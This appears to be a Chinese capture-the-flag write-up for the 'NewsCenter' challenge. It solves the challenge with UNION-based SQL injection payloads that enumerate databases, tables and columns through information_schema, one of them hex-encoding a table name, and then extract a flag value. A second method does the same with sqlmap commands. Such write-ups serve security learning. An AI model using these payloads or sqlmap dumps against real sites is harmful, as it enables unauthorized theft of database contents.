攻防世界(十)NewsCenter


:NewsCenter

方法一

1.打开题,看到搜索框首先想到的是sql注入

2.检查注入点

-1' union select 1,2,3#


存在注入漏洞
3.查库
附:

-1' union select 1,2,  group_concat(schema_name)  from information_schema.schemata;#


可知服务器存在两个数据库information_schemanews
4.查表

-1' union select 1,2, group_concat(table_name)  from information_schema.tables#


看到secret_table有没有很激动,哈哈哈
5.查字段

-1' union select 1,2, column_name from information_schema.columns where table_name=0x7365637265745f7461626c65

7365637265745f7461626c65是对表名secret_table进行16进制编码的结果

注入结果如下

肯定fl4g啦!
6.查值

-1' union select 1,2,fl4g from secret_table#


成功Get Flag,一次顺利的解题~

方法二

1.查库

sqlmap -u URL --data="search=1" --dbs



2.查表

sqlmap -u URL --data="search=1" -D news --tables



3.查值

sqlmap -u URL --data="search=1" -T secret_table -dump


CTF